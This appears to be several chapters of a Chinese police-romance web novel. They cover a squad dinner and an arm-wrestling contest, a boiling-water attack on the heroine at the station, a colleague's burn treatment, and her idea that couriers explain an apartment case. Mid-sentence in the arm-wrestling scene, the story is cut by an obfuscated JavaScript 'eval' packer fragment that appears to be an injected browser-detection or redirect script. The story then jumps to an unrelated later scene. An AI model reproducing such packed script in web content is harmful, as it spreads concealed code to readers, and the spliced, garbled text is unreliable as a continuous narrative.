她说笑着,到最后这句时,还略俏皮地朝大家眨了个眼,完全不见违和,就是一个充满生机的少女顺着时光自然的增长了几条皱纹,时光没能真正剥夺她的年轻。 池千雪莫名想起张管家,觉得两人若能认识一定会成为朋友。 那边王莉开口请大家吃水果,还叫曹空城拿饮料出来大家按自己喜欢的选,曹空城本就忙中偷空一直用余光关注着客厅,看着大家相谈甚欢他也跟着笑,笑得都合不拢嘴。 池千雪看着眼前这位女士,终于想到了怎么形容,她像前世看过的那部经典红楼梦里的王熙凤! ——说来,这个世界有红楼梦吗?池千雪在脑中一番搜索,好吧,原主根本就没长看剧那根筋,简直人生一大遗憾…… 茶水递到眼前,是王莉探长了身子亲自递的,她笑意盈盈目含喜意,池千雪很确定!这个姐姐喜欢自己的! 气氛越来越活跃,之前不知怎么称呼,大家才叫曹姨,如今见到真人,纷纷嚷着要喊人莉姐。 莉姐怎么都行,曹叔也丝毫不介意口头上的差辈,他老婆还是他老婆,爱人如养花,他养得好只会骄傲,于是跟着起哄:“对,就喊莉姐,再从那论,你们叫我声哥也行,叫姐夫就更好。” 到这,曹空城也布好了菜摆好了碗筷,他笑呵呵过去,顺手将空地上的礼物提到茶几上,王莉之前没细看,这会惊讶了:“呀,都是自己人,随时都好来家吃饭的,怎么还带这么重的礼?” 不等她拒绝,曹空城轻轻按住她双肩哄她:“没事,自己人一份心意,就收下吧,不然他们要难过的,不过以后都不许了啊!” 大家点头应和:“是是是,对对对。” 王莉嗔他一眼,也不再提了,自家老公好久不曾请队友来家吃饭了,以前那些同个队伍的战友,散的散,走的走,只留下最年轻稚嫩的他一日日老去…… 之后自己出了事,肇事者逃之夭夭,哪怕他手段使尽也没能将人找出来,本就郁郁寡欢,结果留学的儿子又决意留在国外定居,哪怕顶着不孝的名头也要这样,他便认定儿子只认钱。 从此心里几个坎,这么多年他都没能迈过去,如今只想着多活几年能陪自己走完,再不提案子儿子更不提理想,那些眉飞色舞着吹嘘自己神勇的过往,案子破了呼朋唤友在家丁零当啷的玩闹,因为打扫卫生这件事和自己的种种小吵……都再未有过了。 江望看着这对夫妻甜蜜对视——甜蜜是他个人定义的,他差点又要皮上几句,幸好及时刹住车,但总想忙活点什么掩盖,他就扯开了水果篮的包装袋:“拿出来散开放要好一些吧?别一直闷着。” 步青云就抱着刀具起身要放进厨房去,代福音也将塑料袋拉开,问莉姐放哪里好她去放,姜不招不需要另外动作,他就看着池千雪左右张望后,也将礼盒推到莉姐跟前:“您拆开看看喜不喜欢?我不大擅长选礼物……” 王莉看着一身粉洋娃娃似的池千雪,喜欢的不得了,碍于对方好歹是领导,她不能上手亲近,现在见人真诚这样说,她心都要化了:“喜欢!怎么会不喜欢!光是见到你们,我就已经十足开心了,何况你们心意这样沉甸甸的!” 她拆开礼盒上的蝴蝶结,轻轻撕开彩色包装纸,露出四方的木头盒子,虽是普通木料,上面的雕花却非常精致,是寿桃蝙蝠梅花鹿等吉祥图案,再打开盒盖,就见黄色绸缎为垫子的箱子里,趴卧着一尊金牛,灯光下,金光灿灿炫目至极。 大伙凑头过来:“哇!” 江望更是:“长官送礼都更霸气哦!” 代福音眼冒星星,她喜欢!有这样的长官,分明是他们修来的福气啊! 除了夫妻俩,没人觉得礼重了,反而觉得正常,池大小姐诶,送个果篮盆栽的多不符合身份啊。 王莉双手捧出来,沉甸甸的,这是尊以黄金打造的实心的风水金牛摆件! 池千雪补充道:“说是要摆在东北位哦,我家人说利工作事业财运等,都利的!” 张姨从库房里端出来的时候,就是这样和她介绍的,她也认为,送什么都不如送点保值甚至能升值的,何况还带有美好寓意,只是她本来觉得金牛小了些,不过张姨又说了,送这样的才刚好,太贵重的会给别人负担。 这会池千雪信誓旦旦地说着风水金牛的寓意,一点不像一位警队领导,满怀期待着莉姐的回馈,担心对方会不喜欢呢。 王莉轻轻抚摸金牛,心中转过不知几个弯,最后仰头和曹空城对视一眼,回答道:“池处——” “千雪,您叫我千雪就好。” 王莉笑:“我们很喜欢,谢谢千雪。” 池千雪这才放松下来,开心地在茶几后偷偷跺了几下脚,第一次送人礼物成就get! 曹空城招呼:“那我们开饭吧?开饭啦!” 大家都饿坏了,一帮年轻人毫不客气,果断涌进了隔断出来的餐厅内,洗洗手围住餐桌看着满桌菜咋咋呼呼的,给一贯安静的这套三室一厅添了好大的人气,剩下夫妻二人在客厅悄悄吐了口气。 这么贵重的礼,他们本来实在不能收的,也许对池千雪来讲很平常,对他们这样普通的家庭,却是太奢侈了,没法礼尚往来就没法心安理得。 可是,他们更不能在这样欢乐美好的时刻,将人满腔好意给推回去,摆明了说人送礼送得不合适。 王莉拍拍曹空城的手背,轻声笑道:“空空呀,日后可不能再偷懒了,这礼,就靠你来还了!” 曹空城别扭:“原来你都知道啊?不过之前队里真的不忙嘛,你看这段时间有案子了,我不是都好好加班了。” 王莉点点头看他:“确实,你最近虽然很忙也累,但你的精气神,可比过去几年都要好。” 曹空城一愣:“是吗?” . 小餐厅内,风扇呼呼转动——空调摆在客厅里,离远了就不够凉快,柔软的灯光下,众人围坐一起热热闹闹的。 经典白切鸡、脆皮烧鹅、糖醋咕噜肉、上汤焗龙虾、香滑鱼球、客家酿豆腐、白灼菜心,还有清凉解暑的老火靓汤。 开动前,江望嘴巴张到一半,本想感慨下,因为白天挖过那啥以为晚上会没有胃口——毕竟他前面那杯泡面都没能吃完堪称破了纪录,结果饭菜实在太香啦他又可以啦! 曹空城最是了解他,不详之感刚刚升起,立刻果断捂嘴:“吃吧吃吧,大家都饿了。” 吃到尾声,江望终于空出嘴来,好在没有再提白天的事影响人胃口。 “曹叔,你也太幸福了吧!本来我还不信,现在我服气了,这哪里是云都菜做得好而已,简直是超级无敌的好啊!”江望吸溜一口汤,由衷地感叹道。 此言一出,曹空城当即得意起身去端糖水,准备再给他们一点震撼看看,其他人前面吃得抬不起头,这会江望一打头,全部跟着赞。 王莉也不过分谦虚,只道:“小有研究,小有研究,都是因为喜欢。” 池千雪灵光一闪脱口而出:“莉姐,您喜欢做菜,又做得这么好,完全可以买个手机支架拍视频,简单剪辑一下就可以分享到八爪鱼,露不露脸都是可以的!” 不说将来可以多些收入,主要是曹叔管曹叔忙,莉姐也完全可以有自己的小事业啊,明明是可以闪闪发光的一位女士,每天却只有买菜做菜自我娱乐,又怎么足够打发漫长的时光呢? 王莉确实心动了,她还没老到不知道八爪鱼,但她也确实封闭了好些年,从没想过改变些什么,年轻人涌进这个家,似乎也带来了一阵全新的气流,她不禁想,虽然她不会,但是她可以学的吧? 曹空城过来:“可以,太可以了,好主意来的,老婆,记得我说过的徐觅小徐吧?他老婆就是个几百万粉丝的大网红,我回头打电话问问他。” 王莉顿时不好意思:“哪里就要这样了?我先自己研究下嘛。” “好好好,好好好。”曹空城光知道说好了,可见他多开心王莉有新鲜的事情做。 池千雪则好奇那个徐觅:“是婚假年假调休假一起休,还没有归队的徐觅吗?再过几天就该满假了吧,呀!我们今天没有叫上他一起。” 江望摆摆手:“叫他也不会来的,他典型恋爱脑,老婆的事第一,自己的事第二,局里的事排第三,假期见同事等于没放假——” 曹空城拍他:“怎么说的呢?小徐还是很踏实的,立业成家都在做了,哪像你还没长大似的。”最主要,你不能当着领导上司的面损徐觅啊! 江望后知后觉弥补:“啊,徐觅很好相处的,也很勤快的!” 曹空城补充介绍: “是云都郊外影视基地附近村里的人,长得五官端正浓眉大眼的,性格尤其的好,时常能跟群众聊成一片,对工作帮助很大,叫干什么就干什么,是个好后生,休假时真有案子缺人手叫他,他也是立刻就来的。” 但要是叫他来玩,他肯定是果断拒掉的。 听到这,江望擦擦嘴,压低了声音,也不知有什么意义,反正神神叨叨的:“不过,这家伙总是有一点倒霉,我们之前办的案子,大多都跟他扯上点关系。” 池千雪和姜不招就更好奇了:“怎么说?” 江望绞尽脑汁却不知道怎么形容,正要往啰嗦了讲,步青云开口了: “神探动漫或影视剧里,主角去了哪,哪里就恰好会发生一起或大或小的案子,换成现实,徐觅就是那个主角,只是他没有主角的能力,最终都是接到二队来办,甚至复杂点的还要找支援一起办,说直白点,我们哪天要是闲了,带着他四处转转就会来事。” “啊?”池千雪都呆了,所有人却是齐齐点着头。 “确实是这样没错。” “我们一直都说这小子运势邪门的很。” “长官啊,你都不知道,徐觅休假了,我们可是松了一大口气,虽然知道他出不出现,案子都在那里,但时不时碰到那种巧合,也难免忍不住小小的害怕一下下啦。” 池千雪抖了抖身体:“是哦,好神奇。”难道徐觅有个案件雷达系统?就像她有个金手指,谁规定她就是独一无二的了…… 但不管从哪个层面来看,谁都是希望案子越来越少的。 这样聊着,又说起各自情况。 江望是台岛人,不过全家早早移居到了福省,唯独江望喜欢云都,也如愿来了云都,因为家里有哥哥继承家业了——一间海鲜档,最爱是买球鞋,父母对这小儿子的补贴和他的工资,都因为买鞋的爱好月月光了。 他介绍到最后的时候还感叹呢:“离家太多年了,普通话越讲越标准,诶家乡口音就越来越少,我妈都不爱和我通电话啦!” “哈???”所有人一脸问号,就他那hf不分,翘舌音半点没有,也能叫标准了? 步青云毫不留情开口:“呸!!!”言简意赅后,他行云流水介绍起自己,因为要素过少,曹空城便替他补充了许多有的没的。 步青云是本地人,大家族来的,每年端午他还要回去划龙舟,家族里,农民工人商人公务员警察教师从事的行业可谓五花八门,平平无奇小刑警的他能抢到划龙舟的活,都亏了他实在体壮力气大。 代福音江南人,家庭和睦父母双全上有哥哥下有妹妹,考到云都警校后就一心想留下,主要是不想回家找个文职安稳待着,更想成为独立飒爽风里来雨里去的女刑警,她也确实成功留下了。 曹空城和王莉相亲认识先婚后爱,属于上一辈人婚姻中幸福的那一类了,本地人,不是很富裕却也跟贫穷不沾边,王莉家还拆迁出一套房给她,如今用来收租,儿子留学又有奖学金,毕业更是找到好工作留在了国外,结没结婚莉姐没提,曹空城更是突然沉默。 大伙也都是大概一说,即便如此,也无形中更加拉近了彼此的距离。 姜不招也再次介绍了一下自己的情况,孤儿院长大,按部就班读书毕业工作调回云都,虽然仍旧是寥寥几句似乎没什么特别可说的,还是因为“孤儿“这一特别身份,被桌上所有人轮流关怀了一圈——夹菜添饭打糖水等! 到了池千雪,大家对她可太好奇了。 古人只是好奇皇帝是否用金碗吃饭金锄头下地,他们却问池千雪,是不是像小说里讲的,每天在几百平的床上醒来,边走路边有仆人跪走着给她拖鞋换鞋——鬼知道跪着走这种残酷情节是怎么来的。 接着他们还问她是不是有个医生好友和两面三刀的绿茶闺蜜?或者有个同样出生豪门的娃娃亲未婚夫? 池千雪:“没有,没有,当然没有,真的没有!” 但她也忍不住深思,有个世交家的男生确实订了娃娃亲,有个学医的老同学他好哥们真的是个总裁,还有个姐姐最喜欢撒钱玩聚集了好一帮姐妹团,圈子里真假千金的事情也是发生过的……当然也多的是她这样的好青年啦! 还没完呢: 江望:“长官家里是不是每天很多人来拜见啊?你出门会有保镖暗中保护吗?我们都发现不了,但其实就在附近的那种。”说着做四处观察状,他甚至还去看天花板。 曹空城:“当官的都低调,你说的不可能啦,但是子女有保镖应该不奇怪?呵呵,长官别见怪,我恰好知道你小时候被绑那件事……当时闹得很大,因为绑匪收钱却不放人,云都整个被翻了一遍。” 代福音惊呼:“啊,跟小说一样了,竟然真的有这种事!长官,你会因此有心理阴影吗?类似怕黑怕封闭空间这种?” 姜不招闻言惊诧,很快回忆起些什么:“那是你?” 他那时还小,每日只顾能不能多抢到点吃的,只是有一日,孤儿院被大批警察闯入,像这类孩童聚集地因为容易隐藏,更因为有藏污纳垢的前例,皆被圈红重点搜查,他只知道有个小公主不见了。 小公主池千雪扶额,张了张嘴却插不上话。 步青云凝眉认真脸:“都是警校出来肯定练过,但我还是觉得您应该练得再壮一点,云都从来不平静。”他是真诚劝谏的。 姜不招默默给池千雪递了杯温水清清口,看她被包围得不知先回答哪一句好,一时心疼她幼时的遭遇,一时又忍不住背过身偷笑了一下。 真的就一下! 池千雪仰头把水干了:“是我,没有保镖,没有阴影,没有后遗症,是有在练啦!” 代福音却不服气步青云对长官的建议,开口道:“从来都是以己之长攻敌之短,我们当然是用智慧,或者灵敏的技巧来取胜啊,练得再壮遇上青云哥你这样的,也还是会歇菜啊!” 步青云勾勾嘴角:“我这样的毕竟是少数。” 话赶话的,也不知怎的,代福音就要看看步青云和女生的力量悬殊到底有多大,和他掰起手腕来了。 餐桌被看热闹不嫌事大的江望腾空部分,曹空城则接过来放到厨房,再搬椅子调位置的一通忙,王莉就当裁判,这便开赛了。 步青云光是手掌就比代福音两个手大,代福音一秒倒下,跃跃欲试的江望续上,他坚持了半分钟,面红耳赤脑充血地遗憾退场后嚷着“姜队快上!” 姜不招如他所愿活动了手脚,一喊开始,大伙就全部为姜不招加油,步青云表示很受伤,这位大个子用了十分力,过程中你来我往都是不肯认输,尤其姜不招,他女神可就在边上看着! 须知道,男人是连扔垃圾进桶里都要投篮的生物,何况关乎力量的比拼,那是不行也要上,行就更要上,上了还都要赢,若输了,回去能怄气半年,期间还要不断复盘力争下次翻盘。 可是姜不招输了。 要论综合实力,姜不招更胜一筹,可单纯论力气,谁也不是步青云的对手。 池千雪安慰他,她挥舞手臂向外打开,比划了好大一圈:“你坚持了这么多分钟诶!” 因为太久分不出胜负,大家都喊不动,跑厨房续糖水去了,池千雪说话前,刚刚咽下一块芒果。 姜不招甩手放松:“……谢谢。”并没有被安慰到! 江望在那头喊:“曹叔试一个嘛,青云哥力气被我们耗得差不多了,说不定你就要赢哦!” 步青云活动了下胳膊,再用纸巾擦擦手汗,伸手指点点江望:“好小子!” 曹空城也拍拍江望肩膀笑:“好小子!” 曹叔自信上场了,王莉开心地给他加油:“空空,悠着点啊,咱不年轻啦!” 要不说老夫老妻呢,一针见血的。 哈哈笑声中,曹空城退败,这就只剩池千雪了。 她打预防针:“那我肯定也是输啦,但是该尽力我会尽力的!” 池千雪活动肩颈舒展手臂,而后优雅落座,伸出她放松状态下白嫩纤细的手臂,两只手握住做预备势,王莉确定了两人都是放松状态后,喊:“开始!” “长官加油!打倒青云哥!噢噢噢!哇哇哇!有戏?有戏有戏!” 耳旁七嘴八舌的,大家给她加油的时候,池千雪本来都担心加油没喊完,比赛就得结束,可是—— ——可是很奇怪,她觉得只是正常的发力,两人却是比了个不相伯仲,还处在中间位置,没往步青云那里倒,步青云也没能往她这倒! 那就,再加点力? 然后步青云竟被她成功扳倒了几分! 江望呜嗷鬼叫质疑步青云竟然也会拍上司马屁!大家没空捂他嘴,代福音激动地哇个不停,曹空城嘴上“诶呦,诶呦”,离池千雪最近的姜不招不敢动,收敛了呼吸,生怕一口气会影响战局。 步青云开始咬牙了,开始爆青筋了,开始冒汗珠了。 池千雪一个屏息发力! 啪!(实际当然是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“算不得被欺负,只是竞争比较激烈,一颗糖一个新书包一句院长的夸奖……他们抢不过我,打不过我,最后只能躲着我走了。” 这不就是孤立吗……池千雪心里不是滋味,张张嘴,到底是配合了他:“那你挺厉害的。” 姜不招伸手揉她后脑勺:“谢谢,确实如此!” 池千雪便斜瞪了他一眼:“你刚刚要说什么?” 姜不招侧头看她:“你那时候,一定很害怕吧?” “什么时候?” “被绑架的时候。” 池千雪松了松油门,放缓了车速,这个问题……她不知道怎么回答,因为原主并没有表现出心理创伤的痕迹,而她本人面对这段回忆更是没有什么感觉。 最后她答非所问,但姜不招不知道她在答非所问。 “很害怕,每一分每一秒都觉得自己会死,但没有,所以更煎熬啦。” “就是从那时起,我知道,活着是很珍贵的事情,一定要很用力的过好每一天,因为每一天,都可能是最后一天。” 池千雪一字一顿说得异常认真,姜不招看得心间一颤,仿佛眼前的人随时可能消失。 “你会长命百岁的!”姜不招也是一字一顿认真回道。 此时此刻,他想不到比这更好的盼望和祝福了。 . 再次来到那栋公寓楼前,池千雪停好车,看向姜不招。 姜不招先是开门下车,接着转身弯腰面朝车内,对池千雪道别:“千雪,注意安全,到家说一声。” 他神情自然眼带笑意,并没有做错什么。 但池千雪本来以为他是要请自己上楼坐坐,心慌之下第一反应竟然不是拒绝!结果姜不招完全没有这个意思,倒是她想歪掉了! 脸略微发烫,幸好对方看不出来,她也很自然地挥挥手:“好的,再见。”然后倾身上手将副驾车门关上,一脚油门轰轰轰地跑了! 姜不招猝不及防僵在原地,半晌,一手叉腰一手扶额,吐出口气无奈笑了。 他是个初尝滋味血气方刚的男人,不是不想跟池千雪多说几句甚至上楼再待一会,只是他害怕压抑渴望时,泄露出来的面目会难看,然后将人吓到越推越远。 不过……他对自己开玩笑,要是乱来(他不会),池千雪一拳头就能将他打昏头! 真好,女孩子可以自己保护自己。 回去后尽快洗洗睡的池千雪,梦见了姜不招。 一间审讯室里,也或许只是一个房间而已,她坐着成了一个罪犯。 姜不招将她抓来这里,不停不停地拷问她,要她说出内心的渴望和想法,要她认罪,见她不招,姜不招冷峻严肃地靠近、靠近、靠近她,直到两人气息相融分不清你我了,他说:“坦白从宽,抗拒从严!” “啊!”池千雪从睡梦中醒来,于黑暗中坐起身,脑中隐约记得还发生了一大段不可描述之事,而现实中的她仿佛也经历了一番运动,以至于身上濡湿。 她捂着脸左右摇摆自己,内心不知所谓地吱哇乱吼了一通,总算将那些画面和遗留的感受驱逐到彻底消散。 次日的晨练,池千雪换了一次又一次的重量,狠狠锻炼了一番后,终于确认,另有金手指到账了! 心情不错的池千雪将棕色卷发拉直直的,穿了条紫色无袖一字领修身连衣裙搭配同色系高跟鞋,斜背一只银色迷你云朵包,下楼后因为池父出差未归,更是美美地享用了一顿丰盛早餐,而后在张管家带着一群小妹那能将人吹到天上去的赞美声中,上车上路上班去了。 到了警局,和门卫王大爷打了招呼,在大门左侧尽头拐角阴凉处停好车下来的池千雪,迎面碰上一位神情憔悴风尘仆仆的大叔。 黢黑肤色的大叔看着憨厚木讷,他怯怯凑上来,满脸风霜褶皱手脚局促,并且用了上个世纪初才会有的荒唐称呼:“女大人,我,我是有个案子的家属,你们通知我来的,门口那个同志就让我进来了,我问了一圈。” 他的口音很重,不知道是来自哪里,但勉强可以听懂内容,话说到这,他可能因为口渴,吞咽了一下口水,又低头去他提着的行李袋子里翻,翻出来个大号保温杯,开始拧盖子。 池千雪耐心等他喝完再说。 还没拧开,他停下抬头继续说了: “我早就要来的,但孩子他娘受不了消息进医院去了,我还要凑钱,昨晚总算到了,儿媳妇不给我进去,说已经和儿子离了,孙子也不给我看,我在你们这门口等了一晚上,大早上里面的同志就跟我说了到底怎么回事……” “我都知道了,我儿子肯定要坐牢。” 池千雪还是没明白,他是哪起案子嫌疑人的家属。 男人哭了,抬手抹了一把无声的眼泪,顺带带走了鼻涕,最后统统擦在衣服下摆,他后知后觉的有些不好意思地垂下头,视线正好对上池千雪紫色的裙摆银色的小包,这是他在家乡县城上都见不到的好看颜色。 都是紫,一个土一个贵气,都是银,他只见过银镯子,不知道银子还能做成包,男人更不知道,此银非彼银。 这位老父亲清了清嗓子继续了:“他一个乡下孩子,好不容易打拼成了大公司的经理,孙子读书也好,就想着以后能当官,文官武官都很好,都是我们那里做梦也想不到的有出息。” “就这个杯子,他说要几百块钱,这么贵他都给我买,说家里冷,暖水瓶子没这个好,真的,确实,这个很好用,我都舍不得多用,怕用多了会坏。” “我儿子这么乖这么聪明这么孝顺!不就是给人家带的一起玩了个小姐,怎么就要坐牢了?这是什么世道?没有天理啊?那小姐死了,也不是我儿子杀的,现在连赔她钱求她松松手都没办法,求你们更没用,我知道的。” “我就这一个儿子,这下毁了,全毁了!” 大叔的语速越来越快,池千雪听得有些费劲,她不由蹙起了眉头。 大叔神情愈发激动,眼睛里红血丝游动,鼻孔扩张呼吸急促,他手下不停,终于拧开了保温杯的盖子。 热气瞬间腾腾而出,这确实是一只效果很好的保温杯,口渴的人一时半会肯定喝不了的。 他也不是接来喝的。 “就是你,开红色车,漂亮女的,就是你办的案子,你害的我儿子!” 他那干惯了粗活力气极大的手,飞快伸出紧紧捏住了池千雪的胳膊。 那热气蒸腾,一看就极烫的开水,被瞬间变了面目的男人狠狠泼向池千雪的面部。 “啊——” 空中有惊呼声接连响起,有人飞速冲了过来。 池千雪全都不知道,她脑子一片空白,心脏骤然停止,前世那种熟悉的失重感再度出现,她以为她动不了,躲不开了。 太近了,太突然了,太快了。 池千雪眼中只剩那张写明了“反正救不了儿子,我要与仇人同归于尽”的狰狞的脸。 而在男人所谓“质朴”的世界里,坐牢就等于被宣判了死刑,即便几年就出来儿子也废了,连带着身在老家的亲人们都面上无光见不得人从此没了大声说话的权利。 男人弄不来硫酸和刀具,他更怕出去这道门就泄了这口胆气,于是他选择了开水。 开水,也能将人烫到皮开肉绽,能让这高高在上的城里女人毁容,从此生不如死。 水花飞溅,带着滚烫的气息,与空气短短的摩擦后依然灼热,眼看就要覆盖到池千雪的脸上。 15. 发现疑点 滚烫的开水泼来,热度足以将人脸肉烫熟,神经烫坏。 千钧一发之际,池千雪的身体本能地往后一下腰,脸躲过去了,接着腰在空中一扭,手臂力量爆发瞬间挣脱,整个人迅速往侧面落地。 同一时间,开水一半泼在地上,一半泼到了突然出现的另一人背上。 姜不招闷哼一声,忍住痛意转身将男人胳膊狠狠一扯,对方毫无招架之力,瞬间被他擒拿住上了手铐,很快一群警员闻声围了过来。 王大爷尤其愤怒,确认姜不招没伤到难以挽回的地步后,抢着把人接手过去了: “快,先用冷水冲,再去挂急诊,我会跟你们沈局说情况!”说完扯着一脸认命的男人往局里走,根本忍不了一点,边走边看着一路上的人气冲冲问:“谁接待的这个人?出来!” 一个年轻警员哭丧着脸举手出列,跟着王大爷说明情况去了…… “没事吧?”同一时间,姜不招转头着急询问正狼狈起身的池千雪。 池千雪摇摇头,她不过是沾了一点灰土,心脏经过这一遭大起大落,也还稳稳当当的跳着,可姜不招被泼到了! 她两步过来拉住姜不招,就顺着此刻所在拐角往前去,绕到后面一栋小楼边。 一楼食堂的装修工已经开始上班,里面正叮叮哐哐地响,所幸外面搭了围挡没什么灰土,池千雪拉着姜不招站到不远处一个连接了皮管的小水池前,她伸手捏住对方衣服下摆,要给他脱衣服。 池千雪神情冷肃,全程一言不发,眼中蕴藏的情绪令人不安。 姜不招乖乖配合,谁都没管裤子怎么办,湿就湿吧,一时间也想不到更妥当的办法,等脱下衣服鞋子放去一边,他转过身,皮管口子对上他后背通红的一片地方,池千雪拧开了水龙头。 冷水一激,姜不招的肌肉反而肉眼可见地松弛下来,可见他之前一直在忍痛,对啊,怎么可能不痛,就算身经百战也不代表金刚不坏,换成她中招,哪怕只是被溅到一点,恐怕都要惨叫出声。 池千雪拿着皮管一直对着他后背冲,一般至少要冲洗15到20分钟。 他站在前,她站在后,两人其实离得很近,水声中,她的眼泪哗啦啦流下来,说不清是后怕还是担忧或者都有,一只关在温室里的小鸟飞了出来,天空固然广阔,却也危机重重。 幸好,路上有伴。 姜不招不知道,但他莫名难受,想回头还是没有,他开口,声量比平常略高:“我没事,等会去买管药膏擦擦就好。” “不行,要去医院。” 池千雪吸了吸鼻子,不想让人知道她哭了,她也许经常难过,但她几乎不哭,因为身体承受不了泄洪的代价,也因为眼泪一旦出生就会从珍贵珍珠起不断贬值走向消亡,这点即便是面向血亲骨肉风雨同伴也不能例外,所以她很快收住。 “好好好,去医院。”姜不招连声应着,其实对他来说,这真的是个很小很小的伤。 可能是听到动静,装修工地里有人探出身好奇地看了看他们,一脸想问又不好意思问地缩回去了,接着一个保洁打扮的阿姨从里面出来,看到两人倒是不认生,主动关心地问了:“诶哟警官,这是怎么了?烫到了啊!” 她皱着眉啧啧两声嘶了一下,感同身受一般:“那要买药擦的哟!要我帮忙吧?给您换个手。” “没事不用,阿姨您忙您的。” “那好吧。”她低头从口袋里掏出响铃的手机,正好前头李大姐找她过去。 池千雪看她脚步匆匆往前楼去了,也掏出了手机打开二队微讯群,里面静悄悄的,大家还什么都不知道。 她便直接打语音给江望——他有车更方便,请他买个无菌布带来,打一半没挂,先将手机移开点,电话那头江望因为在开车,好奇追问的声音很大,机关枪似的,她问姜不招:“局里有放换洗衣物吧?” 得知有,她对滔滔不绝的江望道:“买这个就好,送食堂这来,谢谢啦。”然后挂掉,冲回头的姜不招笑笑:“等会请他给你换。” 姜不招看见她有些泛红的眼睛,一撮被水打湿变卷的头发,和拿着皮管的手腕内,那被擦出血丝来的伤口。 他才看见,心里顿时一揪。 真奇怪,他自觉烫伤擦药就好不算什么,更别提擦破点皮这样的小事,可这些若换到池千雪身上,不行,光是想想都无法接受,并油然而生一种怒气和后怕,这怎么能一样呢?那人怎么可以伤她!万幸没有泼到她! 姜不招转回头去,一时没有说话,等江望带着曹空城步青云找来时,刚好冲洗也差不多了,几人围着姜不招一通收拾,步青云还贡献出一件他的吊带背心(听说是健身专用的),最终让姜不招得以衣衫整齐轻便干爽地坐上车,被池千雪拉去了医院。 所幸烫伤不算很严重,这跟那杯开水只剩一半并且位置在后背有很大关系,换成池千雪的脸被泼中,毁容是必然的,但现在,姜不招只要护理得当,说不定可以不留疤。 说归这样说,到底是飞来的横祸。 走出急诊大门,站在艳阳下,池千雪看看自己快结痂的手腕,对姜不招道:“你看,根本不用包扎,但凡晚点到,它都痊愈了。” 没等人回复,她轻声继续:“下次不要替我挡啦,我功夫还不错的。” 坚持自己提着大袋子药的姜不招看着她侧脸说:“你可以,和我担心,两者并不冲突。” 他也放轻了声音,语气有点无奈有点笑意挠痒痒一般说:“况且,这也不是我能控制的。” 池千雪迅速看他一眼,低头“哼”了一声,脸皮有些些发烫。 “谢谢你,姜不招。” 说完她率先走下台阶,语气恢复轻快:“我们回吧。” “好。”姜不招爽朗一笑立刻跟上。 两人往停车场走,急诊大楼一边挨着更高的门诊大楼,另一边则挨着住院部的一号楼,后面还有二号三号四号……因为车停得相对较远,这一走,两人就走到了住院部这面,直直望去,能够清楚看见一二号住院楼下的人来人往。 此时已经到了午饭点,一号楼边的一个景象吸引了池千雪的注意。 姜不招见她不动,顺着她视线看过去。 一堆穿黄色和蓝色,分属两个不同公司的外卖员们,包围住了两个年轻人,看着乱实则井然有序地依次将手中外卖递给了这两个年轻人,一人负责接外卖,一人负责用手机记录着什么,而外卖员们则是将外卖一递转身就走,急匆匆奔赴下一个订单。 这边停车场的两人看了好一会,也渐渐品出来了这是在干什么。 池千雪笑:“还挺有意思的。” 外卖员向来争分夺秒,可爬楼耗时耗力,挤电梯被人嫌弃,有时找目的地找得晕头转向最终还是超时,他们更害怕被保安纠缠,现在越来越多的地方不喜欢并明确不让他们进去,为此还要吃客户的投诉。 这时候你只要进一个微讯群,有人负责帮你把最后最繁琐的这一步完成,却只要你配送费的一点零头,外卖员节省下来的时间可以跑更多单子,避免更多投诉,那么何乐不为呢? 而这两人或者干脆是个小团队,只要占据医院及其周边几个小区,不用接单不用四处跑,只在原地就有源源不断的单子送上门。 这笔生意虽然单价利润低却架不住量大啊,举例一个万人小区,高峰期时订单能达到几千单!他们只怕恨不得多长出几双手脚全包揽来才好呢。 不过干这行也有个前提,双方都有信任基础才行,万一就有奇葩诈骗外卖,不图钱只图报复社会怎么办? ...... 回去的路上,池千雪和姜不招讨论得不亦乐乎,末了感慨,原来商机无处不在,人只欠缺一双发现的眼睛和敢试敢干的执行力。 因为有话说,背上火辣辣的痛也被化解了许多,姜不招嘴角噙笑,看着前方出现的公园影子,只觉路途短暂时间稍纵即逝。 池千雪突然没说话了,姜不招一开始还不觉得有什么,前方有红绿灯斑马线,过去后就到分局了,自然要专心开车。 红灯迟迟不绿,姜不招下意识转头看看池千雪,就见她一脸沉思的样子,握着方向盘的手指有规律地点动,似乎陷入了某种思考当中。 他伸手过去挥了挥,池千雪立刻看了回来,她说:“我想起个事。” “石厦公寓那晚的监控中,我们根本找不到月牙出入的画面,也没有发现任何较可疑人员,但东西确实不见了,那些私人物品一个行李箱可装不下,更别提一趟就搬走,何元聪的汽车也被开出去了。” “唯一的解释就是月牙不光独自完成杀人碎尸,还为了躲开监控硬生生靠双腿上下了几十层楼梯,开车出去后又从郊外徒步回到公寓,这太不可思议了,这是绝对不可能的,所以我们才认为月牙根本没有出去过,暗处仍潜藏着一个帮凶,甚至主次都还不好说,对吧?” “是。”姜不招点头。 一个案子要办下来,证据链必须完完整整有逻辑,即便月牙认罪,就她说的天方夜谭一样的犯案过程,到时随便请个律师来都能找出无数漏洞来推翻,再拉个被告心理问题证明出来,搞不好月牙都能被无罪释放。 现在二队努力的方向,就是找到那个使案件合理真相分明的帮凶。 池千雪缓缓开口道: “此案为激情作案,所以凶手不可能做到完美犯罪或善后,那如果有这样一个帮凶,他一定会出现在公寓楼中,只是监控没有拍到他,或者——其实拍到了,只是我们不知道呢?” 姜不招凝眉思索片刻:“就像西门案一样,用了灯下黑的办法?” 绿灯亮起,后面汽车点喇叭催促,池千雪只能先起步,两分钟后,车子进了东城分局,这次就停在了大门边上,王大爷从门卫亭里出来等着两人下车,结果车里迟迟没有动静。 池千雪继续: “如果说,有什么人明明是生面孔,却会被我们理所当然忽视掉的,不认为其有关联的,不就是——” “外卖员?” “外卖员!” 两人异口同声。 话落,车窗外突然映出一张放大的脸。 门卫王大爷举着手掌遮住额头往车窗里看,眼睛瞪得大大的,抬头纹重重堆叠:“诶,这怎么回事啊,小池小姜你们没事吧?怎么不下车啊?是不是不好下?” 话落他直起身准备绕到车前看看,同一时间池千雪打开了车门:“王爷爷没事,我们刚刚在谈案子呢。” “哦哦哦,好好好,怎么样小姜?要紧吗?” 